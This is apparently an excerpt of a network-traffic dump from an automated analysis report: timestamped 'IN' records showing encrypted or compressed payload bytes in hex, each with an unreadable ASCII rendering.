1c 0c 23 58 04 97 f7 ec 66 22 a0 e4 3a be 55 fe 4d ac 90 bb 47 21 02 7d f4 1e 30 34 80 1c b0 f7 8b c9 20 53 57 45 e1 a9 85 ac 4b a7 e8 4a eb 2b d1 3e ba b0 37 42 f7 a8 c6 6c a8 e6 25 8d 22 93 2d f1 cf 6b Data Ascii: Cg_Q495"WLJS$%.V3!%23:_.iwSi,'.V1p@%d8oWXeWr>yoK$5s+yoaKt&$t#Xf":UMG!}04 SWEKJ+>7Bl%"-k
2021-09-24 19:53:40 UTC	64	IN	Data Raw: d4 24 2b 12 9b 0e 0e 26 a4 e1 10 48 41 14 7f fa 61 f2 7f 9f 62 b2 41 76 5b 18 8a 21 07 0c d7 30 fb 75 57 21 7e 62 64 d6 3e 27 14 33 2c 2b 1b a8 37 3d c3 52 ae 29 ad ff 5e 66 0b b0 7c f9 2b 7e 68 82 54 d7 f8 85 6d 23 cb 52 42 89 b9 5e f0 4a cb ea bd 43 ac cf 69 82 7b db c2 56 a3 1d f3 eb 6b 5f 26 94 98 10 45 6d a1 09 0b 96 90 a3 ce 77 1b 98 ea ba 02 09 75 1e 37 aa d5 05 41 38 5c 53 54 2c 5f 4a 2e d0 ca 1c 45 b9 25 46 32 50 9a 2d cf 43 c2 b4 97 14 79 d8 17 e4 68 49 22 79 f8 46 de 40 eb 5b c7 57 35 c6 42 aa 28 a5 81 5f d0 62 c3 02 51 2f 4c 4f b0 6f de 3f 11 a4 5e 6e 4d c0 9e b8 02 21 8e 80 41 45 e2 77 68 29 27 30 70 d7 f0 29 bc 8d 26 a0 f5 29 91 2a de 2c 90 c3 85 af 1a 26 86 7c 62 f4 57 3c 85 61 21 52 49 63 b9 2a 74 87 f5 6d 08 06 f3 cb f1 e0 3f db ba 71 0c Data Ascii: $+&HAabAv[!0uW!~bd>'3,+7=R)^f\|+~hTm#RB^JCi{Vk_&Emwu7A8\ST,_J.E%F2P-CyhI"yF@[W5B(_bQ/LOo?^nM!AEwh)'0p)&),&\|bW<a!RIctm?q
2021-09-24 19:53:40 UTC	65	IN	Data Raw: 77 03 4f b3 6f 2f f6 9d f4 77 6a 60 3c 73 f6 f5 33 c7 65 26 0a af 71 8a 22 5f c5 9c 43 17 89 08 bd 5c 7a 01 31 8c 6f 80 ad ee 14 86 3b 6f 12 0a f5 c9 68 38 a9 a0 a8 87 43 e1 74 b9 5c 36 74 31 0b cb d4 7f ac 24 25 12 a9 f0 f8 47 19 45 48 79 f4 67 08 9f 5f 9b c4 76 9a a3 d9 b4 8a 8e 28 63 78 9d d0 57 81 ee cd 00 17 83 24 2d c1 20 98 49 ab 99 54 5f ce 0d fa 30 f8 62 fe 21 8b 24 5d a7 65 b3 b2 dd c1 92 d4 d8 e8 b3 17 c7 b0 c9 bf c9 ec 06 0c 35 35 07 89 b1 0a 2a e4 bd e0 fe 7e 79 60 6c cb df e3 b6 a5 e1 d6 75 ab 19 e5 33 9a 35 59 e1 65 79 8d bf c1 ee ad 09 a2 28 b2 c0 aa 03 64 3a ab 2d ca 58 d3 f4 e7 16 5c da d7 09 54 7b c9 b4 87 6c 23 e9 fa b7 6a 17 a1 62 69 64 8c 3f 6d 79 fe 53 7f 46 64 69 0c 58 82 88 1a d9 70 21 14 e1 44 07 7c df 62 26 7d a1 c4 9b fc 08 5d Data Ascii: wOo/wj`<s3e&q"_C\z1o;oh8Ct\6t1$%GEHyg_v(cxW$- IT_0b!$]e55*~y`lu35Yey(d:-X\T{l#jbid?mySFdiXp!D\|b&}]
2021-09-24 19:53:40 UTC	66	IN	Data Raw: 88 de e0 b0 cc 50 49 01 e8 0a 1e 1a a8 b1 0d ce bb fe 27 8a 5d ec ae ca 0f fb 22 f7 ba 5f 88 a4 ad 71 a6 b5 61 d5 4c ff 3c 5f 10 1c ed cb 38 e7 20 71 5e 11 d6 6e f0 fe 46 c0 a6 a6 73 20 de 7e ac e3 b8 eb 04 40 80 8e 00 6a 35 17 9e d1 42 4f 36 fd 04 a1 ea 27 19 ab 59 fa d0 94 08 c1 d2 08 ce 5f e3 59 65 e8 2c 22 9c f5 6e 4c 52 2f 7e ea 89 04 ed 4b 22 1b b1 75 53 27 54 c0 e1 76 98 8e 0e ae 4d 78 36 34 82 12 95 b5 64 32 0b 3c 6e b0 1a c0 ff 51 b7 bf b1 ac b0 72 6d 4b b3 fe 26 40 0e ab 47 eb 75 80 0a 96 0d 9c 65 ee 55 31 55 5b 5a ef e6 0f ac 54 34 ea 55 8e b6 62 28 86 9a 00 cf 6b b9 cb 6c e8 75 6e 11 33 95 24 99 22 05 80 54 0d d4 8f b7 19 bd e9 3d e3 5c fc 13 a5 16 70 ac 74 81 a9 7e 72 82 d4 d8 f3 b3 20 42 95 d1 2f f4 e8 3f b8 2e af 29 f7 a8 0b 20 fd 82 e0 fe Data Ascii: PI']"_qaL<_8 q^nFs ~@j5BO6'Y_Ye,"nLR/~K"uS'TvMx64d2<nQrmK&@GueU1U[ZT4Ub(klun3$"T=\pt~r B/?.)
2021-09-24 19:53:40 UTC	67	IN	Data Raw: 06 22 9d 56 a4 3c 00 c6 7c 75 02 92 8c fb 2d 52 7b c4 59 de eb 90 7b 30 df 7f 73 98 ac 5f e6 d0 d8 f1 ae 46 bd cd 06 30 7a c1 c8 7a bb 17 c6 f9 66 1c 94 95 98 00 31 7f b0 0b 13 ad e8 b2 c2 55 e7 8f 3c 26 1a 09 60 22 54 7c c6 1b 46 b6 47 98 c8 b3 5a 8d 3f df ca 68 43 b9 25 23 a8 69 9a 27 ed 8c c2 b2 b7 06 61 c9 1f 8b 1b 48 22 6b 30 53 cc 5a ea 73 d2 44 05 ce 71 90 39 af 90 52 f8 fe d2 14 50 6b 73 4d b7 7e 18 84 3d a6 46 74 4b d3 a0 c2 01 0d 8a 80 c7 42 e5 6f 97 3b 1d 23 4d c3 ca c2 96 9f 49 3d ff 8b 8a 16 cd 3b 81 cf a1 be 0d 13 a8 7c 62 78 44 24 85 51 19 47 d5 74 aa 71 6d 87 f5 6d 13 01 ff 73 66 eb 2e c6 bf ee 0c fb 97 6c be b8 89 9c bb 05 6c d1 f4 68 03 1a df 63 fc 6d 1a 15 a4 6d ea 13 1b 55 ba 1f c2 88 fa 58 2e e8 83 14 5b 11 a8 62 55 41 c2 a0 bc ce a5 Data Ascii: "V<\|u-R{Y{0s_F0zzf1U<&`"T\|FGZ?hC%#i'aH"k0SZsDq9RPksM~=FtKBo;#MI=;\|bxD$QGtqmmsf.llhcmmUX.[bUA
2021-09-24 19:53:40 UTC	68	IN	Data Raw: e6 8a 79 1a bf 21 a6 af 43 92 15 b2 fe 2d 5b 2f 72 b2 ea 7f a6 36 81 01 a3 8e e8 55 3b 47 4d 68 f8 d4 1c ab 5d bd 5b e2 e1 41 c1 39 af 85 2f 75 b1 ae 17 fe c8 f9 51 10 3f 85 34 a0 d5 12 91 5b b9 3f 78 5e 89 5d fb 30 f8 62 e7 76 65 b5 71 a6 67 94 b5 43 e3 5d c5 fd ca 97 19 d6 9e c2 28 f1 ed 3f 17 2d af 25 46 b1 0c 0a f7 af f1 ee 7a 51 e3 6e cb d9 f5 75 ec e1 c7 6e bf 0d f0 37 82 90 59 d3 6f 5f 9c 3f d5 c6 d0 1b a9 05 bf 4d aa 14 9a 3a 93 3b c6 44 fb 54 f1 e8 57 d0 c4 10 48 f6 c9 ac 79 6c 1c c8 c0 96 57 e2 05 ca 69 64 87 9f 54 3c eb 7b d8 29 72 62 2c 82 a8 88 1a 4e 7f 22 14 26 53 2f 8d 4c 62 2c 40 d7 68 88 e8 29 54 87 4d bc d3 af b3 67 fa 64 19 15 9e ea c0 7c 00 53 b4 18 1c 5d 4d 3a 68 ef ef 4f c8 9e df 72 96 5d b9 c7 28 d6 e3 e5 39 0c bd 1e 17 f4 ac e7 3f Data Ascii: y!C-[/r6U;GMh][A9/uQ?4[?x^]0bveqgC](?-%FzQnun7Yo_?M:;DTWHylWidT<{)rb,N"&S/Lb,@h)TMgd\|S]M:hOr](9?
2021-09-24 19:53:40 UTC	70	IN	Data Raw: 3c 06 09 1f 94 cc 44 91 8b 68 3a 3b 4e 9b c0 e1 2b 82 94 49 5e fe 8b 8a 2b 17 28 93 c7 95 83 2a aa a9 7c 1c 0a 45 24 9e 71 26 41 ba 72 a3 02 dd fc f4 65 19 14 8a eb dc eb 24 df ab fa 23 f8 b7 12 84 b4 a1 b8 b1 14 6e ad f0 7b 06 38 d0 66 fe 6b 38 5e 14 6c e0 31 39 52 ab 12 c3 9d d3 bf 06 9c 87 02 d0 12 8c 62 54 58 d4 b4 90 c0 c7 62 17 a9 2a 80 58 80 44 e0 e4 a2 f9 ee b7 e1 cc d4 f9 3c 15 30 4d 6c 1d c1 f4 c3 c7 3a 2b ba 67 20 94 f5 75 0f 04 ac 19 76 98 5f 50 f1 85 25 f2 1f b9 3f 4c a3 85 6a 9e a9 a3 1b ab a4 74 c1 59 a4 c1 5a ec 6c a7 36 f9 25 5a 85 c2 f6 87 e3 be 85 06 ca 94 fe bf bc e4 ca 26 18 e3 22 9b 36 b9 aa 2f 83 98 d8 25 8c 34 e6 a6 db 0c ca f7 f3 d5 5f 9b b2 b8 03 73 a4 79 ce 37 c3 0d 0e 07 1b fc 0c 23 eb 23 b2 4b 01 c3 5f 6c de 57 e7 c8 91 65 34 Data Ascii: <Dh:;N+I^+(\|E$q&Are$#n{8fk8^l19RbTXbXD<0Ml:+g uv_P%?LjtYZl6%Z&"6/%4_sy7##K_lWe4
2021-09-24 19:53:40 UTC	71	IN	Data Raw: 28 b7 39 cf 47 e0 ad e6 3a 5f ed c1 1f 5c 9d 52 a8 94 65 30 db e3 8b 6c ff 2c 71 63 75 8b 8a aa 49 ec 64 c3 55 6c 63 3d 80 9f 76 1b 79 46 30 13 fa 4d 0c 11 c0 71 24 51 b5 da 97 e1 dd 5f 83 69 af d4 b5 bf 3b 4e 55 11 06 90 e6 a2 6f 1e 5c 4c 12 18 24 58 3e 7f c1 c5 5e ce 05 e0 55 8f 3f b6 fe 0a 47 fb b0 0a 5f dd 17 0c de 21 fa 48 0c a4 1d a1 2c 09 bd f9 8c c4 7b cb 35 ab 8c e1 b9 df af 5f 87 b6 0a 1f 39 3c ae 0b 98 85 95 55 42 24 fd 53 39 6b 4d f3 4f 6c 2f b3 f4 8b 72 4c 01 7f fa 3f fc 06 ee cc 38 76 3d 4c 10 8c 92 1e 09 d4 e6 a6 5d 5c 2f cb 1c 54 cf 16 70 0f 26 39 81 0a a3 26 0a 8c a8 af 03 06 ff 42 68 33 1e 4d e9 38 70 7b 94 4d c6 15 91 57 3b c1 f4 58 98 ac 4e f7 d7 c1 f4 a4 46 ac ca 18 ce 7b f7 c2 6b bd 17 e9 b4 fa 2f 9d 86 90 1a 20 77 be 04 ee 84 b0 be Data Ascii: (9G:_\Re0l,qcuIdUlc=vyF0Mq$Q_i;NUo\L$X>^U?G_!H,{5_9<UB$S9kMOl/rL?8v=L]\/Tp&9&Bh3M8p{MW;XNF{k/ w
2021-09-24 19:53:40 UTC	72	IN	Data Raw: 06 0e 0e b5 c2 72 90 4b 79 41 95 25 f4 03 07 28 5d a5 ac e2 8a bd 81 90 a2 a5 7e d3 62 77 e9 53 fb 7c 5e 23 f9 25 40 82 d3 f3 aa 68 b6 84 0c e4 1b f6 ae be e4 cf 22 18 ef 22 1b 36 b9 a6 11 ec fa f1 0f 03 33 f5 a5 e7 3a d3 ec df 35 5e 99 b8 9f 4e 03 84 7b c4 5e fa 03 1f 0d 22 62 19 2b f9 64 12 4d 01 c3 58 ed c8 5c 88 ed 87 71 26 c9 63 b3 fe 5a ca 06 40 87 8c 2e 6a 1e 6e a7 cb ce 76 30 ec 09 6c ee 04 0d 89 2a f5 f5 b6 17 9b d2 02 d7 7a 21 60 65 e2 0e 28 9d e4 61 73 a0 3c 7b f1 e3 31 e0 75 8f f4 56 9d 5b 25 69 f9 d8 61 15 83 1d a0 4a 66 38 1d a4 04 8e 73 ea 0b 21 35 45 12 0b a7 df 79 1a bf b1 a6 af d8 e1 74 b3 c9 26 56 26 dc 46 eb 7f a3 25 87 03 91 e8 e9 54 31 54 48 79 b5 c5 19 bd da b9 d5 55 6f b6 c0 39 b4 8e 28 62 71 b9 c1 72 8c c9 56 11 91 94 32 b1 4a 04 Data Ascii: rKyA%(]~bwS\|^#%@h""63:5^N{^"b+dMX\q&cZ@.jnv0l*z!`e(as<{1uV[%iaJf8s!5Eyt&V&F%T1THyUo9(bqrV2J
2021-09-24 19:53:40 UTC	73	IN	Data Raw: ce 06 df 12 e8 2c 90 37 ac ed 17 4d a7 9d 6e f4 7f ef 7a c2 e4 b5 67 32 50 38 67 83 16 16 5c 09 a9 62 52 20 af fe 7f ce 10 69 14 ed 3e ac 22 85 2e 15 97 45 a8 29 03 c6 7c 75 02 92 8f 3c 2b 78 7b 94 41 f6 bf 94 7b 36 b0 fe 72 98 aa 59 1a d1 c9 e3 c3 ce bc c2 00 26 84 d9 de 84 bb 6c da f8 60 1a 82 84 9c 75 b9 7e a1 0f 07 5f 8f bd d1 56 da 10 ea bc 11 1f 60 1b 29 54 5b 15 50 2a 22 cc db 9b 6b 9e 37 c4 e6 57 48 91 d5 2a 80 57 f5 ad e6 52 c4 a7 90 16 75 d8 16 a3 85 4c 22 75 47 d9 df 40 ec 60 d4 24 3d ce 71 bf 2a a3 b8 c0 f8 fe c9 13 57 51 6f 65 d6 68 e6 8f 18 b5 5b 10 41 d6 b6 3a 6f 37 89 97 c6 51 e8 04 4b 38 31 27 75 ca f0 2a bc 03 22 a0 f9 e4 aa 3e cd 3d 90 df 80 b6 62 8f ab 7c 64 e4 4f 35 9e 16 11 47 d5 74 b0 09 c6 8f 9a 4f 1b 1e e3 4a d4 fc f8 df a5 fa 2d Data Ascii: ,7Mnzg2P8g\bR i>".E)\|u<+x{A{6rY&l`u~_V`)T[P"k7WHWRuL"uG@`$=qWQoeh[A:o7QK81'u">=b\|dO5GtOJ-
2021-09-24 19:53:40 UTC	75	IN	Data Raw: 66 19 4c 71 f5 89 d9 9d f5 65 77 67 3e 6f f6 f1 bc fe 5a 33 22 0e 62 85 3e 6a c0 fe 77 85 a5 11 bf 5c 7d 8a 0d b5 04 84 a7 38 18 0b 3c 6e 3a 1f e6 eb 73 32 8b b0 a6 a5 26 f4 74 b3 ff 34 53 37 1a 53 c3 da a8 25 81 14 06 ef e9 55 30 47 58 68 ee d3 31 1b 48 b8 d3 f7 9f a7 d4 2d b1 a6 8b 62 6b b3 d5 5b 30 fd 51 17 25 19 35 b1 d0 05 94 4a 23 a0 d3 48 e6 a0 d2 ac f2 44 e5 16 94 a5 76 b8 5c 35 a0 47 ef 94 59 df e2 a0 18 c5 84 c0 3f f3 cf bf 2b 2d a9 8d 89 a1 1e 34 e3 87 52 ef 6a 5b f7 46 6c dd f5 3d b4 6c d1 74 bf 0c e5 30 a6 ba fa e1 6f 55 b4 32 d5 c6 cb 1e aa 3f ad 61 f4 12 6d 13 30 38 de 45 d6 03 f6 1e 7a b0 d7 0f 6b 79 cf b4 8d 40 73 b9 c9 96 7c 07 3e 57 78 6e 9c 94 54 4d eb 7b d4 29 40 61 2c 8e 93 82 0b 5d 67 36 15 e0 54 40 ab dc 62 2a 40 ae fa 29 ec 23 58 Data Ascii: fLqewg>oZ3"b>jw\}8<n:s2&t4S7S%U0GXh1H-bk[0Q%5J#HDv\5GY?+-4Rj[Fl=lt0oU2?am08Ezky@s\|>WxnTM{)@a,]g6T@b*@)#X
2021-09-24 19:53:40 UTC	76	IN	Data Raw: 52 cb ab 89 f9 70 e5 11 5b 00 48 22 71 00 47 de 40 e0 7f cc 42 38 cc 78 a5 c7 ae bc 4f 28 5d c3 02 5a 68 7c 4d b0 63 89 98 13 a4 54 7b 24 ca b4 3c 0a 2d 95 9a cc 4b fd 6d 97 3b 1d 2f b6 de e1 21 96 b4 32 a0 ff 81 8c 23 d6 36 81 dd 86 45 0c 87 ab 64 6f f5 4d 3b 8d 87 36 69 c0 76 89 39 d2 87 f3 71 31 30 e5 5b d7 fd 6e db ad eb 24 ca 8f 61 b8 bd b9 4c b8 29 6e d6 fc 60 0b 32 a2 78 f6 95 33 1d b1 69 c8 0c 2f 55 bc 03 c6 b6 eb 5d 0c 8a c7 00 a2 c6 73 7d 5e 46 d1 ac 88 c4 28 67 54 a1 10 0e 53 fb 46 fd e9 a5 96 55 ac 1f c7 d0 fe 38 3d 09 5b 6a 0a ef ed c3 1a 8a 44 c2 67 31 98 64 0d 0c 04 bd c4 63 91 40 49 27 90 09 fa 2d eb 2e 5d a5 b2 ef 93 a9 a0 2c b0 5b 75 eb 42 99 bb 52 fd 6a cc 37 f4 25 48 8d 39 e6 ae df b1 ac 33 c9 87 f0 b8 9c e2 56 26 12 ff 4a 1c 36 b9 a0 Data Ascii: Rp[H"qG@B8xO(]Zh\|McT{$<-Km;/!2#6EdoM;6iv9q10[n$aL)n`2x3i/U]s}^F(gTSFU8=[jDg1dc@I'-.],[uBRj7%H93V&J6
2021-09-24 19:53:40 UTC	77	IN	Data Raw: 0c 2f 2a b8 d1 99 9d 08 38 fc af f6 f9 94 50 cf 6c dc d2 f5 3c ba 1f d7 58 bd 26 f3 0f 51 90 22 8d 6f 5f 98 84 f7 c4 c2 70 ce 2e a4 49 87 03 64 3b ac 09 dc 4f d3 53 e7 16 c7 fc c6 16 55 fd e5 af 87 6a 27 34 ea b8 7e 19 26 5d 6e 72 73 9c 50 58 fd 70 d2 41 7c 9d 2d a4 80 a3 18 7e ac 23 6f 8d 52 2f 89 f4 54 2e 52 8c c3 88 e8 29 23 c2 63 be d7 83 a0 63 c1 7a 19 15 b0 e6 b3 67 a7 53 b2 02 22 77 62 21 6e c0 db b1 c9 b8 f5 12 99 5d b8 f9 f2 d7 cf ed 06 36 bd 19 05 26 b1 cc 15 3e c4 56 4b 3f 74 42 e7 d3 d7 33 89 3e b9 f7 1e a6 cf f4 62 e2 fc 03 1d 0f a9 b1 a9 c7 9c f6 35 4b 35 fb c0 0e 3c 12 e8 26 0f 0b a9 da 24 57 cc 07 0c dc 62 e1 6f f4 7a a7 41 b7 5b 18 8a 53 03 16 c0 19 8f 65 57 27 d6 1c 59 cc 16 70 38 af 2a 89 00 dd 31 14 9d 50 ac 5c 5e ef 44 73 6d b3 53 fb Data Ascii: /8Pl<X&Q"o_p.Id;OSUj'4~&]nrsPXpA\|-~#oR/T.R)#cczgS"wb!n]6&>VK?tB3>b5K5<&$WbozA[SeW'Yp81P\^DsmS
2021-09-24 19:53:40 UTC	79	IN	Data Raw: 96 02 56 12 97 62 52 5c 2f a4 bb ca ce 6d 78 ae 3e 7e 53 d7 44 f5 ef a8 91 44 48 e0 ea fe c3 3e 3e d9 5c 11 70 c7 d9 c2 30 ae 29 b9 1a 4d 92 9a 02 24 04 a6 c9 70 a8 5d 51 f1 91 25 f2 1d 8a 2f 4c b3 a6 dd 85 a9 ae 24 5c a4 58 c5 52 aa ea 54 eb 94 d2 08 fb 32 4a 96 c0 ff 7c ca 9a 86 2d ce ac 15 ac cf b1 56 26 1c c3 28 16 34 c4 dd 02 e6 ef d0 27 8c 32 e6 9f c8 05 ea e6 f7 ba 57 99 b2 a3 6e 7b 8d 62 c4 5f fe f1 0f 2d 08 ed 16 2b f8 1d c6 4e 2d c7 5e ea d9 50 ff 37 84 5d 22 f3 6d 89 17 37 97 7a 40 81 99 08 59 15 02 f2 b7 ce 70 32 d7 3f 01 d3 12 0d 83 fe f8 c7 e3 a3 9b d2 0c ee 64 39 5a 65 ca 04 f6 9d fd 64 64 67 39 75 cb fd 20 e8 5c da 0b 85 60 9d 3f 4c d6 f9 9f 14 a5 0c b9 47 6b 17 3d 5a 05 a8 af c3 0f 20 df 6d 69 74 e6 eb 7d 30 9d b3 a5 d2 2d e1 74 b7 d4 27 Data Ascii: VbR\/mx>~SDDH>>\p0)M$p]Q%/L$\XRT2J\|-V&(4'2Wn{b_-+N-^P7]"m7z@Yp2?d9Zeddg9u \`?LGk=Z mit}0-t'
2021-09-24 19:53:40 UTC	80	IN	Data Raw: 2b 4a e5 f0 3c 22 c8 82 1b c7 9e fc 8b 13 d9 52 88 b6 0f 2c e7 4f d5 06 9b 23 f3 16 76 b9 fe e6 d4 e2 c9 31 2e e3 ad b1 2b 5b 9a e9 06 54 3a 67 c4 39 1f 0d d8 b0 0a 39 97 d2 ba 52 cc 01 e3 fc 7f d7 45 10 78 a4 69 b1 59 07 bb a3 eb 16 c0 18 3b 77 48 1f c3 7a e2 c8 09 43 30 b6 2a 89 0a 2e 28 0a a7 76 5f 2f 0f ee d8 73 1d a3 72 33 2b 78 7b 19 43 c1 d7 b0 d1 30 df 79 ef 9e b3 72 fb a5 44 e1 b3 78 9d 03 06 30 7a 47 ce 65 85 12 6a fc 79 70 8f 09 9e 05 70 60 d8 95 16 9a de a5 5e 59 fd db ca 5e 11 0e 64 96 26 63 82 31 c7 2c 4d 46 46 9d 72 c8 1f 0d e2 46 41 25 25 36 c6 71 35 27 e7 52 5e b2 82 40 51 49 1f 8b 1b d4 24 6c 60 4c e6 dc ec 6c 9a 48 55 50 77 a6 73 b0 9b cb fe e1 88 1d 2a dc 6e 52 fc 76 e8 19 17 bb 13 60 23 48 b0 23 4e 3e db 0b ca 5d ad 68 1e a6 37 3e 36 Data Ascii: +J<"R,O#v1.+[T:g99RExiY;wHzC0.(v_/sr3+x{C0yrDx0zGejypp`^Y^d&c1,MFFrFA%%6q5'R^@QI$l`LlHUPwsnRv`#H#N>]h7>6
2021-09-24 19:53:40 UTC	81	IN	Data Raw: c6 4e 2d c7 62 e3 f2 9a cf 5e 85 71 2a df 75 a5 7a 82 f6 de 2f 95 9c 22 71 3d 01 8f c9 dd 40 33 fd f0 03 fb 05 a1 83 f4 eb c6 93 0b d8 d2 01 dd 89 08 74 6f e0 2c c7 9d f5 6e 49 40 35 73 e0 ef 37 11 4a 08 08 b1 6f 85 3d 56 2f ee 4d 11 9f 24 b5 41 6b 19 3d 5a 05 a8 a8 ec 19 5a 25 62 12 02 f0 15 78 36 bd a6 ab af 5b fa 8a b2 d2 25 7d 24 36 fc 98 56 ae 25 8d 08 8c 87 c3 57 31 5e 4a 16 d5 c7 19 b7 4b d7 ff 57 8e bd e8 82 a1 8e 2e 4a 83 b8 c1 79 93 a9 5d 03 31 bc 6f b1 d0 0e a8 e2 33 88 76 60 c2 aa fa 3a da 34 ee 05 9b b0 79 84 e8 90 a4 4d b8 ab 4f d8 e2 aa 31 12 96 d1 29 cd d4 16 2f 27 87 03 9a b1 00 23 df 6b f3 ef 6c 79 c4 6e cb d3 9a 16 a0 e1 dc 73 d0 27 f3 24 b8 85 36 cf 6d 5f 96 a9 ba ec c3 0d a8 39 cb 62 af 03 6e 3c d0 13 dc 4f f1 45 88 26 54 fc cc 00 2c Data Ascii: N-b^q*uz/"q=@3to,nI@5s7Jo=V/M$Ak=ZZ%bx6[%}$6V%W1^JKW.Jy]1o3v`:4yMO1)/'#klyns'$6m_9bn<OE&T,
2021-09-24 19:53:40 UTC	82	IN	Data Raw: f6 15 8c 39 75 8b ad f6 94 bf 9a 38 ab 8d ca c3 4a a7 85 9f fd 6a d9 23 e8 29 2e a2 c5 e7 88 e3 09 80 06 ca 91 de 80 b4 cc 5c 30 2b e2 03 3c f7 bd a0 04 89 27 fa 27 86 35 e4 a3 a5 31 c0 e6 fd 92 9e 9d b2 b4 6e 58 88 79 c4 52 ff 3c 05 08 22 37 19 2b f9 64 f4 4f 01 cf 4e f0 d5 38 d3 cb 85 7b 08 1b 6b a2 f2 23 c4 2a 40 81 97 34 48 1c 08 a7 0d ca 70 30 92 c9 03 fb 0f 0a 92 f8 95 e4 9c 20 91 fa cd c0 77 0f 4e 4d cc 04 f6 97 e3 57 6f 7f 07 b8 e4 e6 26 80 87 24 0a a3 65 94 38 23 e5 ed 61 1f a1 c9 aa 4c 6d 06 0d 8a 04 84 a7 fe 3e 00 35 47 da 0f e6 ed 16 d6 bf b1 ac 87 9b e5 74 b5 f9 36 5a 49 29 45 eb 75 c3 c6 86 03 81 fd da 5b 38 53 59 75 91 f1 1b bd 46 d7 19 55 8e bd d1 35 b2 58 3b 6e 7a b5 d0 60 a9 f1 ae ee cc 9d 21 b5 c6 08 91 5a 1f fa 71 48 e0 8a 05 30 f2 44 Data Ascii: 9u8Jj#).\0+<''51nXyR<"7+dON8{k#*@4Hp0 wNMWo&$e8#aLm>5Gt6ZI)Eu[8SYuFU5X;nz`!ZqH0D
2021-09-24 19:53:40 UTC	83	IN	Data Raw: df 08 7f eb 69 f6 9b 8f 54 a7 71 3e 56 18 9d 8a 08 e8 c1 34 97 60 53 30 50 4c 7e ce 17 6c 38 c2 2b 89 00 8b a2 15 9d 56 bf 2a 19 ec 3f b3 02 98 56 f8 ba 67 04 da f1 42 fa 95 6d 18 e4 78 73 92 86 50 ed c3 d1 e7 bd 4f a6 3c 07 1c 7f cd c2 66 a9 05 f6 eb 6f 2c 6a 94 b4 36 20 7b b7 85 2f 85 9c b3 d4 77 d9 9a ea b6 00 0a 7b 03 ac 43 c6 11 51 3a 65 7a d8 9b 67 a5 02 d7 e2 4c 69 0d 23 29 8a 7d 08 3a f4 5b c2 a5 94 1e 8f c8 33 80 05 c5 09 73 28 52 cd 45 f0 60 da 57 24 c5 67 47 38 83 93 40 eb f7 c3 13 52 5f 61 b3 b1 45 e4 ae 14 9c 47 80 b4 2b a7 38 1f 28 04 a8 cc 42 e3 61 41 cb 30 21 6c ed e3 36 9e 8b 2a bd f2 9d 93 3a cb 17 99 c5 94 ad 0f d0 6f 7c 62 f1 40 33 4e e8 ab 41 c2 a8 5f 09 d5 87 e2 74 1f 1a f2 81 de f8 26 df ab c0 57 c4 92 7b 62 b7 93 f0 a8 00 7b c4 f2 Data Ascii: iTq>V4`S0PL~l8+V?VgBmxsPO<fo,j6 {/w{CQ:ezgLi#)}:[3s(RE`W$gG8@R_aEG+8(BaA0!l6:o\|b@3NA_t&W{b{
2021-09-24 19:53:40 UTC	84	IN	Data Raw: d1 7f cc ed 3b 62 da 24 0a a8 6f 9a 2c 5f de ef 70 1a 96 10 50 4d 47 31 2c b5 0d 8d bc e1 9b 14 31 05 c8 67 c5 eb 79 1a bf b1 a6 af 12 ba 5c 22 fe 27 5c 9f 82 58 f4 6c a3 25 96 0c 91 16 e8 79 34 42 44 62 ed ca 19 ac 43 a7 df ab 8f 9b ca 2f a2 9d 25 71 6f a6 ca 60 98 f9 40 1e 2c ad cc b0 fc 25 82 25 ff 88 70 4c 95 94 f8 30 f8 5c 85 76 a2 b6 71 a6 5c d0 a6 47 e3 95 94 49 e3 a0 19 c9 ae c2 20 e5 f6 18 30 6d 51 2e b4 b8 32 dc ff af f1 f0 2b 42 ec 6e da d6 ea 72 5c e0 fa 4f bd 0f f2 35 b8 fc 8e 65 75 30 18 af d5 c0 b2 33 a0 2e ae 33 ec 01 64 31 97 7b dc 4f f1 51 9c d1 56 fc c2 74 00 f4 ce be af 29 32 ca e1 bc 39 03 2d 57 06 e1 8c 9d 7a 45 a0 68 dd 46 75 6c 33 aa 7c 89 36 40 46 30 1d e2 29 e5 8d de 66 25 40 ad 44 3f 79 4d c1 b0 40 ad dc a9 b1 6c cd 67 e5 14 b4 Data Ascii: ;b$o,_pPMG1,1gy\"'\Xl%y4BDbC/%qo`@,%%pL0\vq\GI 0mQ.2+Bnr\O5eu03.3d1{OQVt)29-WzEhFul3\|6@F0)f%@D?yM@lg
2021-09-24 19:53:40 UTC	86	IN	Data Raw: 75 af 40 d4 5f ac 60 dc 57 24 c3 6e b7 c7 ae bc 5f fe fd 14 08 44 4f 7b 42 b0 78 e9 9a 0b 5a 5f 53 53 d6 a7 34 28 7b 88 97 c6 2d 63 76 69 3c bd 1e 66 c1 e0 32 92 83 3d b3 f0 8b 91 33 d2 05 7f d5 bd b1 1c af be aa 71 f1 5b 1b 87 76 37 54 da 6d e3 fc d6 ab c6 65 1a 6d db 59 dd e1 37 a6 df d4 26 d5 9f 44 ff b6 a1 b8 91 4d 68 c2 fa 61 69 b6 aa 67 fa 18 0c 33 a4 67 9e 7a 28 55 b0 3d ac 9a eb 57 15 97 98 57 4e 36 8c 73 5a 53 2f a4 bb db d4 1d be a9 28 84 51 7f d7 fd e9 e8 db 5f b6 e1 df ef e7 3c 04 35 41 5f f2 c6 f5 a7 18 f7 e2 ba 67 35 9a 8b 02 d8 8b 8d c9 63 9a 5d 57 aa af 27 f2 1f 9b 2a 2e 9a af f6 94 81 ee 31 a2 af 7d d1 dc d2 d5 51 fd 60 fb 63 fb 25 4b 9f d0 71 f1 f4 b4 84 0c e4 c0 f4 ae be c5 4e b0 6b d6 08 14 3d 91 e7 00 e6 e1 d2 6f 8e 32 ff a6 d3 93 75 Data Ascii: u@_`W$n_DO{BxZ_SS4({-cvi<f2=3q[v7TmemY7&DMhaig3gz(U=WWN6sZS/(Q_<5A_g5c]W'*.1}Q`c%KqNk=o2u
